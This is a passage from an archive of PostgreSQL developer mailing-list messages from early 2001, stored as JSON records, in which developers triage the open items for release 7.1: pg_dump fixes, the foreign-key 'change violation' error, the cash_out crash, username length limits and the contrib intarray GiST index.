= findTypeByOid(tinfo, numTypes, agginfo[i].aggbasetype, zeroAsAny + useBaseTypeName);\n! \t\tif (name == NULL)\n! \t\t{\n! \t\t\tAGG_NOTICE(aggbasetype);\n! \t\t\tcontinue;\n! \t\t}\n! \t\tappendPQExpBuffer(details, \"BASETYPE = %s, \", name);\n \n+ \t\tname = findTypeByOid(tinfo, numTypes, agginfo[i].aggtranstype, zeroAsOpaque + useBaseTypeName);\n+ \t\tif (name == NULL)\n+ \t\t{\n+ \t\t\tAGG_NOTICE(aggtranstype);\n+ \t\t\tcontinue;\n+ \t\t}\n \t\tappendPQExpBuffer(details,\n \t\t\t\t\t\t \"SFUNC = %s, STYPE = %s\",\n! \t\t\t\t\t\t agginfo[i].aggtransfn, name);\n \n \t\tif (agginfo[i].agginitval)\n \t\t{\n",
"msg_date": "Fri, 26 Jan 2001 07:24:03 +0900",
"msg_from": "Tatsuo Ishii <t-ishii@sra.co.jp>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "Peter Eisentraut wrote:\n> \n> Bruce Momjian writes:\n> \n> > FOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\n> \n> You're certainly not going to want to fix this now after having stared at\n> it for a year? It's not trivial.\n> \n\nWhat does this item mean ?\n\n> > Usernames limited in length\n> \n> Yeah, they are. ;-)\n> \n> If this is referring to pg_passwd, I just had a closer look and it's\n> really a desaster. Both password and username as well as line length and\n> file length (in lines) have arbitrary limits, sometimes not even\n> consistent ones. To fix this to a point where one is confident that\n> everything works one essentially would have to rewrite the whole thing.\n> \n> > Does pg_dump preserve COMMENTs?\n> \n> Sure\n> \n> > Fix ipcclean on Linux\n> \n> Consider it done.\n> \n> > Merge global and template BKI files?\n> \n> Not this release.\n> \n> --\n> Peter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n",
"msg_date": "Fri, 26 Jan 2001 13:09:11 +0900",
"msg_from": "Hiroshi Inoue <Inoue@tpf.co.jp>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "Sorry for my previous incomplete posting.\n\nPeter Eisentraut wrote:\n> \n> Bruce Momjian writes:\n> \n> > FOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\n> \n> You're certainly not going to want to fix this now after having stared at\n> it for a year? It's not trivial.\n> \n\nWhat does this item mean ?\nIs it the following ?\n\n\tbegin;\n\tinsert into pk (id) values (1);\n\tupdate(delete from) pk where id=1;\n\tERROR: triggered data change violation on relation pk\"\n\nIf so, isn't it a simple bug ?\n\nRegards,\nHiroshi Inoue\n",
"msg_date": "Fri, 26 Jan 2001 13:18:15 +0900",
"msg_from": "Hiroshi Inoue <Inoue@tpf.co.jp>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "Quoting Bruce Momjian <pgman@candle.pha.pa.us>:\n\n> Here are my open 7.1 items. Thanks for shrinking the list so far.\n> \n> ---------------------------------------------------------------------------\n> \n> FreeBSD locale bug\n> Reorder INSERT firing in rules\n> Philip Warner UPDATE crash\n> JDBC LargeObject short read return value missing\n\nWorking on this on Saturday.\n\n> SELECT cash_out(1) crashes all backends\n> LAZY VACUUM\n> FOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\n> Usernames limited in length\n> Does pg_dump preserve COMMENTs?\n> Failure of nested cursors in JDBC\n\nJDBC doesn't support cursors full stop yet.\n\n> JDBC setMaxRows() is global variable affecting other objects\n> Does JDBC Makefile need current dir?\n\nNo as it's obsolete in 7.1 ;-)\n\n> Fix for pg_dump of bad system tables\n> Steve Howe failure query with rules\n> ODBC/JDBC not disconnecting properly?\n\nClient code not calling Connection.close() method.\n\n> Magnus Hagander ODBC issues?\n> Merge MySQL/PgSQL translation scripts\n> Fix ipcclean on Linux\n> Merge global and template BKI files?\n\nPeter\n\n-- \nPeter Mount peter@retep.org.uk\nPostgreSQL JDBC Driver: http://www.retep.org.uk/postgres/\nRetepPDF PDF library for Java: http://www.retep.org.uk/pdf/\n",
"msg_date": "Fri, 26 Jan 2001 04:29:16 -0500 (EST)",
"msg_from": "Peter T Mount <peter@retep.org.uk>",
"msg_from_op": false,
"msg_subject": "Re: [JDBC] Open 7.1 items"
},
{
"msg_contents": "Hiroshi Inoue writes:\n\n> What does this item mean ?\n> Is it the following ?\n>\n> \tbegin;\n> \tinsert into pk (id) values (1);\n> \tupdate(delete from) pk where id=1;\n> \tERROR: triggered data change violation on relation pk\"\n>\n> If so, isn't it a simple bug ?\n\nDepends on the definition of \"bug\". It's not spec compliant and it's not\ndocumented and it's annoying. But it's been like this for a year and the\nissue is well known and can normally be avoided. It looks like a\ndocumentation to-do to me.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Fri, 26 Jan 2001 16:07:27 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "[ Charset ISO-8859-1 unsupported, converting... ]\n> Quoting Bruce Momjian <pgman@candle.pha.pa.us>:\n> \n> > Here are my open 7.1 items. Thanks for shrinking the list so far.\n> > \n> > ---------------------------------------------------------------------------\n> > \n> > FreeBSD locale bug\n> > Reorder INSERT firing in rules\n> > Philip Warner UPDATE crash\n> > JDBC LargeObject short read return value missing\n> \n> Working on this on Saturday.\n\nOK.\n\n> \n> > SELECT cash_out(1) crashes all backends\n> > LAZY VACUUM\n> > FOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\n> > Usernames limited in length\n> > Does pg_dump preserve COMMENTs?\n> > Failure of nested cursors in JDBC\n> \n> JDBC doesn't support cursors full stop yet.\n\nRemoved from list. Doesn't even seem worth adding to TODO.\n\n> \n> > JDBC setMaxRows() is global variable affecting other objects\n> > Does JDBC Makefile need current dir?\n> \n> No as it's obsolete in 7.1 ;-)\n\nRemoved.\n\n> \n> > Fix for pg_dump of bad system tables\n> > Steve Howe failure query with rules\n> > ODBC/JDBC not disconnecting properly?\n> \n> Client code not calling Connection.close() method.\n\nRemoved. ODBC seems to have a problem, though.\n\nThanks.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Fri, 26 Jan 2001 15:15:47 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Re: Re: [JDBC] Open 7.1 items"
},
{
"msg_contents": "> Bruce Momjian <pgman@candle.pha.pa.us> writes:\n> > Here are my open 7.1 items. Thanks for shrinking the list so far.\n> \n> > SELECT cash_out(1) crashes all backends\n> \n\nOK, removed from 'open' list and added to TODO. Actually, I can't get\nthe crash to happen except with cash_out. Is there another *out\nfunction you can get to fail.\n\n\n> This isn't a \"must fix for 7.1\", any more than it was for 7.0, 6.5,\n> or any other release back to the beginning of time. It's always been\n> possible to crash the backend by passing an incompatible argument to\n> a type input or output function. The type-checking system cannot\n> detect the error because these functions are (mostly) declared to\n> take \"any\" input type (zero entry in proargtypes[]).\n> \n> The only clean way to fix this is to declare I/O functions honestly.\n> That will require (a) a type-system representation for \"C string\"\n> and (b) a solution to the circularity issue for user-defined types.\n> If the I/O functions have to be declared first, how can they refer\n> to the type?\n> \n> Quite aside from the time involved, this will require an initdb.\n> It's a bit late in the cycle for that.\n> \n> \t\t\tregards, tom lane\n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Fri, 26 Jan 2001 15:57:17 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "Bruce Momjian <pgman@candle.pha.pa.us> writes:\n> SELECT cash_out(1) crashes all backends\n>> \n\n> OK, removed from 'open' list and added to TODO. Actually, I can't get\n> the crash to happen except with cash_out. Is there another *out\n> function you can get to fail.\n\nAny pass-by-reference type; also most if not all input functions.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Fri, 26 Jan 2001 16:08:15 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items "
},
{
"msg_contents": "> Bruce Momjian writes:\n> \n> > FOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\n> \n> You're certainly not going to want to fix this now after having stared at\n> it for a year? It's not trivial.\n\nMoved to TODO.\n\n> \n> > Usernames limited in length\n> \n> Yeah, they are. ;-)\n> \n> If this is referring to pg_passwd, I just had a closer look and it's\n> really a desaster. Both password and username as well as line length and\n> file length (in lines) have arbitrary limits, sometimes not even\n> consistent ones. To fix this to a point where one is confident that\n> everything works one essentially would have to rewrite the whole thing.\n\nAdded to TODO:\n\n\t* Fix username/password length limits in all areas\n> \n> > Does pg_dump preserve COMMENTs?\n> \n> Sure\n\nOK, thanks. Someone submitted a patch, and I wasn't sure how to handle\nit. I thought it did it already.\n\n> \n> > Fix ipcclean on Linux\n> \n> Consider it done.\n\nThanks.\n\n> \n> > Merge global and template BKI files?\n> \n> Not this release.\n\nAdded to TODO.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Fri, 26 Jan 2001 16:24:39 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "I was woundering if any of you have seen this problem.\n\nI have been running a system using a postgres 6.5 database. After a while\nI realized the system wasn't very active so I looked into it. I tryed to view\nall the tables in the database using the \\d command, but it return:\n\n- Couldn't find any tables, sequences or indices!\n\nSo I then tried to do a select statement from the table, which worked,\nalthough no data was returned, but the table structure was correct.\n\nI have backed up my database and have been trying to recover my data with no\nluck. I am able to vacuum the tables and have it tell me that there are\nseveral those tuples in each table, yet I still cant view the data.\n\n\nAny suggestions?\n\n\nThanks,\n\nStefan Klopp\n\necmarket\n\n",
"msg_date": "Fri, 26 Jan 2001 13:47:54 -0800",
"msg_from": "Stefan Klopp <sklopp@ecmarket.com>",
"msg_from_op": false,
"msg_subject": "Database tables disappeared."
},
{
"msg_contents": "At 07:24 26/01/01 +0900, Tatsuo Ishii wrote:\n>> Fix for pg_dump of bad system tables\n>\n>Ok. I have made patches for fixing some of pg_dump problems(see\n>attached patches). \n...\n>Also I'm not quite sure \"#arg\" (stringification) is\n>portable enough in all platforms.) \n\nThe patch looks fine to me, but I have no idea how portable #arg is - does\nanybody else have some facts on the matter: \n\n+#define AGG_NOTICE(arg) {\\\n+ fprintf(stderr, \"Notice: aggregate \\\"%s\\\"(oid %s) is not\ndumped.\\n\",agginfo[i].aggname, a\n+ fprintf(stderr, \"Reason: \" #arg);\\\n+ fprintf (stderr, \" (oid %s) not found.\\n\",agginfo[i].arg);\\\n+ }\n+\n\nIt's easy enough to change the macros to take 2 params, and that would be\nmy inclination if it's not a solid part of the C standard (for any\nnon-trivial definintion of 'solid').\n\n\n----------------------------------------------------------------\nPhilip Warner | __---_____\nAlbatross Consulting Pty. Ltd. |----/ - \\\n(A.B.N. 75 008 659 498) | /(@) ______---_\nTel: (+61) 0500 83 82 81 | _________ \\\nFax: (+61) 0500 83 82 82 | ___________ |\nHttp://www.rhyme.com.au | / \\|\n | --________--\nPGP key available upon request, | /\nand from pgp5.ai.mit.edu:11371 |/\n",
"msg_date": "Sun, 28 Jan 2001 12:53:01 +1100",
"msg_from": "Philip Warner <pjw@rhyme.com.au>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "Philip Warner <pjw@rhyme.com.au> writes:\n>> Also I'm not quite sure \"#arg\" (stringification) is\n>> portable enough in all platforms.) \n\n> The patch looks fine to me, but I have no idea how portable #arg is\n\nUse the CppAsString macro from our c.h ... that's what it's for.\n\nIt's actually fairly unlikely that anyone still uses a compiler that\ndoesn't grok #arg and yet can handle the other ANSI-isms that Postgres\nrequires. However, we may as well stick to the coding conventions\nwe have...\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sat, 27 Jan 2001 21:14:51 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items "
},
{
"msg_contents": "At 07:24 26/01/01 +0900, Tatsuo Ishii wrote:\n>> Fix for pg_dump of bad system tables\n>\n>Ok. I have made patches for fixing some of pg_dump problems(see\n>attached patches). The patches address the problem with user defined\n>functions, operators and aggregates. \n\nThese have now been applied with minor modifications.\n\n\n>However I have not address what Tom Lane said yet(actually I do not\n>understand what he says).\n>\n>> The other flavor of problems that pg_dump\n>> has in this area are in doing inner joins across system catalogs ...\n\nThis refers to things like:\n\n SELECT c.relname \n FROM pg_index i, pg_class c \n WHERE i.indrelid = %s\n AND i.indisprimary \n AND c.oid = i.indexrelid\n\nie. where two or more relations are crossed (pg_index and pg_class in this\ncase). It assumes that the metadata is valid, and will not highlight\nmissing data in the secondary table. We should be doing outer joins:\n\n SELECT c.relname \n FROM pg_index i LEFT OUTER JOIN pg_class c on c.oid = i.indexrelid\n WHERE i.indrelid = %s\n AND i.indisprimary \n\nand checking for nulls using PQgetisnull. I have actually done this for a\ncouple of SELECTs (including the above one), and marked all the others as\n'XXXX: use LOJ'. There are only 2 or 3 more, but they require a little more\nthought (an inderstanding) before I change them.\n\nIn my view this should be considered a 'work-in-progress' and not hold up\n7.1 since the problem has been there for a long time.\n\n\n----------------------------------------------------------------\nPhilip Warner | __---_____\nAlbatross Consulting Pty. Ltd. |----/ - \\\n(A.B.N. 75 008 659 498) | /(@) ______---_\nTel: (+61) 0500 83 82 81 | _________ \\\nFax: (+61) 0500 83 82 82 | ___________ |\nHttp://www.rhyme.com.au | / \\|\n | --________--\nPGP key available upon request, | /\nand from pgp5.ai.mit.edu:11371 |/\n",
"msg_date": "Sun, 28 Jan 2001 14:50:42 +1100",
"msg_from": "Philip Warner <pjw@rhyme.com.au>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "I assume this addresses the open item:\n\n\tFix for pg_dump of bad system tables\n\nI will remove it from the list. Thanks.\n\n\n\n> At 07:24 26/01/01 +0900, Tatsuo Ishii wrote:\n> >> Fix for pg_dump of bad system tables\n> >\n> >Ok. I have made patches for fixing some of pg_dump problems(see\n> >attached patches). The patches address the problem with user defined\n> >functions, operators and aggregates. \n> \n> These have now been applied with minor modifications.\n> \n> \n> >However I have not address what Tom Lane said yet(actually I do not\n> >understand what he says).\n> >\n> >> The other flavor of problems that pg_dump\n> >> has in this area are in doing inner joins across system catalogs ...\n> \n> This refers to things like:\n> \n> SELECT c.relname \n> FROM pg_index i, pg_class c \n> WHERE i.indrelid = %s\n> AND i.indisprimary \n> AND c.oid = i.indexrelid\n> \n> ie. where two or more relations are crossed (pg_index and pg_class in this\n> case). It assumes that the metadata is valid, and will not highlight\n> missing data in the secondary table. We should be doing outer joins:\n> \n> SELECT c.relname \n> FROM pg_index i LEFT OUTER JOIN pg_class c on c.oid = i.indexrelid\n> WHERE i.indrelid = %s\n> AND i.indisprimary \n> \n> and checking for nulls using PQgetisnull. I have actually done this for a\n> couple of SELECTs (including the above one), and marked all the others as\n> 'XXXX: use LOJ'. There are only 2 or 3 more, but they require a little more\n> thought (an inderstanding) before I change them.\n> \n> In my view this should be considered a 'work-in-progress' and not hold up\n> 7.1 since the problem has been there for a long time.\n> \n> \n> ----------------------------------------------------------------\n> Philip Warner | __---_____\n> Albatross Consulting Pty. Ltd. |----/ - \\\n> (A.B.N. 75 008 659 498) | /(@) ______---_\n> Tel: (+61) 0500 83 82 81 | _________ \\\n> Fax: (+61) 0500 83 82 82 | ___________ |\n> Http://www.rhyme.com.au | / \\|\n> | --________--\n> PGP key available upon request, | /\n> and from pgp5.ai.mit.edu:11371 |/\n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sat, 27 Jan 2001 23:14:07 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "At 23:14 27/01/01 -0500, Bruce Momjian wrote:\n>I assume this addresses the open item:\n>\n>\tFix for pg_dump of bad system tables\n>\n>I will remove it from the list. Thanks.\n>\n\nI'd remove it from the 'Required for 7.1' list, but leave it on the TODO\nlist, since the task is not quite complete.\n\n\n>> At 07:24 26/01/01 +0900, Tatsuo Ishii wrote:\n>> >> Fix for pg_dump of bad system tables\n>> >\n>> >Ok. I have made patches for fixing some of pg_dump problems(see\n>> >attached patches). The patches address the problem with user defined\n>> >functions, operators and aggregates. \n>> \n>> These have now been applied with minor modifications.\n>> \n...\n>> \n>> In my view this should be considered a 'work-in-progress' and not hold up\n>> 7.1 since the problem has been there for a long time.\n>> \n\n----------------------------------------------------------------\nPhilip Warner | __---_____\nAlbatross Consulting Pty. Ltd. |----/ - \\\n(A.B.N. 75 008 659 498) | /(@) ______---_\nTel: (+61) 0500 83 82 81 | _________ \\\nFax: (+61) 0500 83 82 82 | ___________ |\nHttp://www.rhyme.com.au | / \\|\n | --________--\nPGP key available upon request, | /\nand from pgp5.ai.mit.edu:11371 |/\n",
"msg_date": "Sun, 28 Jan 2001 15:23:27 +1100",
"msg_from": "Philip Warner <pjw@rhyme.com.au>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "> At 23:14 27/01/01 -0500, Bruce Momjian wrote:\n> >I assume this addresses the open item:\n> >\n> >\tFix for pg_dump of bad system tables\n> >\n> >I will remove it from the list. Thanks.\n> >\n> \n> I'd remove it from the 'Required for 7.1' list, but leave it on the TODO\n> list, since the task is not quite complete.\n\nOK, do you have some text for me.\n\nFYI, the \"open\" list are not all must-do items for 7.1. They are merely\nitems that either need to be done, or moved to the TODO list. It is up\nto the group to decide which one they want.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sat, 27 Jan 2001 23:26:15 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "> >Ok. I have made patches for fixing some of pg_dump problems(see\n> >attached patches). The patches address the problem with user defined\n> >functions, operators and aggregates. \n> \n> These have now been applied with minor modifications.\n\nThanks. BTW, are you going to make a back patch for the 7.0.x tree?\nI'm sure we are going to have lots of complaints from users who are\ndeveloping their own user defined functions and about to use pg_dump\nto upgrade to 7.1 after it is officially released...\n--\nTatsuo Ishii\n",
"msg_date": "Tue, 30 Jan 2001 02:17:38 +0900",
"msg_from": "Tatsuo Ishii <t-ishii@sra.co.jp>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "> >> Also I'm not quite sure \"#arg\" (stringification) is\n> >> portable enough in all platforms.) \n> \n> > The patch looks fine to me, but I have no idea how portable #arg is\n> \n> Use the CppAsString macro from our c.h ... that's what it's for.\n> \n> It's actually fairly unlikely that anyone still uses a compiler that\n> doesn't grok #arg and yet can handle the other ANSI-isms that Postgres\n> requires. However, we may as well stick to the coding conventions\n> we have...\n\nOh I see.\n--\nTatsuo Ishii\n",
"msg_date": "Tue, 30 Jan 2001 02:17:45 +0900",
"msg_from": "Tatsuo Ishii <t-ishii@sra.co.jp>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items "
},
{
"msg_contents": "Tatsuo Ishii <t-ishii@sra.co.jp> writes:\n> Thanks. BTW, are you going to make a back patch for the 7.0.x tree?\n> I'm sure we are going to have lots of complaints from users who are\n> developing their own user defined functions and about to use pg_dump\n> to upgrade to 7.1 after it is officially released...\n\nNo more than in any prior release, AFAICS; these issues have been there\nfor a long time. I doubt that a back-patch is warranted.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 29 Jan 2001 12:36:59 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items "
},
{
"msg_contents": "At 02:17 30/01/01 +0900, Tatsuo Ishii wrote:\n>> >Ok. I have made patches for fixing some of pg_dump problems(see\n>> >attached patches). The patches address the problem with user defined\n>> >functions, operators and aggregates. \n>> \n>> These have now been applied with minor modifications.\n>\n>Thanks. BTW, are you going to make a back patch for the 7.0.x tree?\n>I'm sure we are going to have lots of complaints from users who are\n>developing their own user defined functions and about to use pg_dump\n>to upgrade to 7.1 after it is officially released...\n\nSorry for the delay, but this set of patches were targetted at trapping bad\nmetadata and as such are probably not appropriate for backporting. However,\nsome months ago, Tom did modify pg_dump for the new function manager\ninterface. It might be worth making a backpatch for this available.\n\n\n\n----------------------------------------------------------------\nPhilip Warner | __---_____\nAlbatross Consulting Pty. Ltd. |----/ - \\\n(A.B.N. 75 008 659 498) | /(@) ______---_\nTel: (+61) 0500 83 82 81 | _________ \\\nFax: (+61) 0500 83 82 82 | ___________ |\nHttp://www.rhyme.com.au | / \\|\n | --________--\nPGP key available upon request, | /\nand from pgp5.ai.mit.edu:11371 |/\n",
"msg_date": "Fri, 23 Feb 2001 12:53:09 +1100",
"msg_from": "Philip Warner <pjw@rhyme.com.au>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
}
] |
[
{
"msg_contents": "\n> Using pg_control to get checkpoint position speed up things but\n> to handle possible pg_control corruption we obviously should\n> implement reading existent log segments (from the last one -\n> newest - to oldest) to get last checkpoint.\n\nI think this would be *very* important :-)\n\nAndreas\n",
"msg_date": "Thu, 25 Jan 2001 10:21:01 +0100",
"msg_from": "=?UTF-8?B?WmV1Z3N3ZXR0ZXIgQW5kcmVhcyBTQiA=?=\n\t<ZeugswetterA@wien.spardat.at>",
"msg_from_op": true,
"msg_subject": "=?UTF-8?B?QVc6IFtIQUNLRVJTXSBXQUwgZG9jdW1lbnRhdGlvbg==?="
}
] |
[
{
"msg_contents": "My email address has been changed. From now on, please write to\nkovacsz@pc10.radnoti-szeged.sulinet.hu. The \"tip\" user at the same host no\nlonger exists. Sorry for the inconvenience if you tried to send a message\nto the \"tip\" user this week.\n\nHave a nice day, :^)\nZoltan\n-- \n Kov\\'acs, Zolt\\'an\n kovacsz@pc10.radnoti-szeged.sulinet.hu\n http://www.math.u-szeged.hu/~kovzol\n ftp://pc10.radnoti-szeged.sulinet.hu/home/kovacsz\n\n",
"msg_date": "Thu, 25 Jan 2001 15:37:28 +0100 (CET)",
"msg_from": "Kovacs Zoltan <kovacsz@pc10.radnoti-szeged.sulinet.hu>",
"msg_from_op": true,
"msg_subject": "email address change"
}
] |
[
{
"msg_contents": "Mark,\n\nwe prepared new version of contrib-intarray -\nindex support for 1-D integer arrays using GiST.\n\nChanges:\n\n\n- Improved regression test\n- Current implementation provides index support for one-dimensional\n array of int4's - gist__int_ops, suitable for small and medium size\n of arrays, and gist__intbig_ops for indexing large arrays\n (we use superimposed signature with length of 4096 bits to represent sets,\n see Sven Helmer,1997).\n\nArchive is available from\nhttp://www.sai.msu.su/~megera/postgres/gist/code/7.1/contrib-intarray.tar.gz\n\n\tRegards,\n\t\tOleg\n_____________________________________________________________\nOleg Bartunov, sci.researcher, hostmaster of AstroNet,\nSternberg Astronomical Institute, Moscow University (Russia)\nInternet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\nphone: +007(095)939-16-83, +007(095)939-23-83\n\n",
"msg_date": "Thu, 25 Jan 2001 19:31:56 +0300 (GMT)",
"msg_from": "Oleg Bartunov <oleg@sai.msu.su>",
"msg_from_op": true,
"msg_subject": "new version of contrib-intarray"
},
{
"msg_contents": "\nOleg, do you want this in /contrib for 7.1?\n\n> Mark,\n> \n> we prepared new version of contrib-intarray -\n> index support for 1-D integer arrays using GiST.\n> \n> Changes:\n> \n> \n> - Improved regression test\n> - Current implementation provides index support for one-dimensional\n> array of int4's - gist__int_ops, suitable for small and medium size\n> of arrays, and gist__intbig_ops for indexing large arrays\n> (we use superimposed signature with length of 4096 bits to represent sets,\n> see Sven Helmer,1997).\n> \n> Archive is available from\n> http://www.sai.msu.su/~megera/postgres/gist/code/7.1/contrib-intarray.tar.gz\n> \n> \tRegards,\n> \t\tOleg\n> _____________________________________________________________\n> Oleg Bartunov, sci.researcher, hostmaster of AstroNet,\n> Sternberg Astronomical Institute, Moscow University (Russia)\n> Internet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\n> phone: +007(095)939-16-83, +007(095)939-23-83\n> \n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sat, 27 Jan 2001 00:08:14 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray"
},
{
"msg_contents": "On Sat, 27 Jan 2001, Bruce Momjian wrote:\n\n>\n> Oleg, do you want this in /contrib for 7.1?\n\nyes, if it's possible.\nbtw, is there way to specify default ops for index ?\nWe have two methods of index creation for intarrays and\nwould like to define which should be used by default\n\n>\n> > Mark,\n> >\n> > we prepared new version of contrib-intarray -\n> > index support for 1-D integer arrays using GiST.\n> >\n> > Changes:\n> >\n> >\n> > - Improved regression test\n> > - Current implementation provides index support for one-dimensional\n> > array of int4's - gist__int_ops, suitable for small and medium size\n> > of arrays, and gist__intbig_ops for indexing large arrays\n> > (we use superimposed signature with length of 4096 bits to represent sets,\n> > see Sven Helmer,1997).\n> >\n> > Archive is available from\n> > http://www.sai.msu.su/~megera/postgres/gist/code/7.1/contrib-intarray.tar.gz\n> >\n> > \tRegards,\n> > \t\tOleg\n> > _____________________________________________________________\n> > Oleg Bartunov, sci.researcher, hostmaster of AstroNet,\n> > Sternberg Astronomical Institute, Moscow University (Russia)\n> > Internet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\n> > phone: +007(095)939-16-83, +007(095)939-23-83\n> >\n> >\n>\n>\n>\n\n\tRegards,\n\t\tOleg\n_____________________________________________________________\nOleg Bartunov, sci.researcher, hostmaster of AstroNet,\nSternberg Astronomical Institute, Moscow University (Russia)\nInternet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\nphone: +007(095)939-16-83, +007(095)939-23-83\n\n",
"msg_date": "Sat, 27 Jan 2001 10:18:53 +0300 (GMT)",
"msg_from": "Oleg Bartunov <oleg@sai.msu.su>",
"msg_from_op": true,
"msg_subject": "Re: new version of contrib-intarray"
},
{
"msg_contents": "Oleg Bartunov <oleg@sai.msu.su> writes:\n> btw, is there way to specify default ops for index ?\n\nSure, that's what pg_opclass is for. Just insert the opclass name\nand the OID of the type you want it to be the default index opclass\nfor.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sat, 27 Jan 2001 14:24:17 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray "
},
{
"msg_contents": "On Sat, 27 Jan 2001, Tom Lane wrote:\n\n> Oleg Bartunov <oleg@sai.msu.su> writes:\n> > btw, is there way to specify default ops for index ?\n>\n> Sure, that's what pg_opclass is for. Just insert the opclass name\n> and the OID of the type you want it to be the default index opclass\n> for.\n\nTom, we already did this. Here is what we have in pg_opclass:\n\n gist__int_ops | 1007\n gist__intbig_ops | 1007\n(32 rows)\n\nwe want gist__int_ops to be default index opclass.\nIf we delete gist__intbig_ops entry from opclass, then we couldn't use\ngist__intbig_ops !\n\n\tRegards,\n\t\tOleg\n\n\n>\n> \t\t\tregards, tom lane\n>\n\n\tRegards,\n\t\tOleg\n_____________________________________________________________\nOleg Bartunov, sci.researcher, hostmaster of AstroNet,\nSternberg Astronomical Institute, Moscow University (Russia)\nInternet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\nphone: +007(095)939-16-83, +007(095)939-23-83\n\n",
"msg_date": "Mon, 29 Jan 2001 17:19:27 +0300 (GMT)",
"msg_from": "Oleg Bartunov <oleg@sai.msu.su>",
"msg_from_op": true,
"msg_subject": "Re: new version of contrib-intarray "
},
{
"msg_contents": "Oleg Bartunov <oleg@sai.msu.su> writes:\n> gist__int_ops | 1007\n> gist__intbig_ops | 1007\n\n> we want gist__int_ops to be default index opclass.\n> If we delete gist__intbig_ops entry from opclass, then we couldn't use\n> gist__intbig_ops !\n\nPut in gist__intbig_ops with zero for the default type. You should\nnever have more than one entry in pg_opclass claiming to be the default\nfor a given type OID.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 29 Jan 2001 09:48:21 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray "
},
{
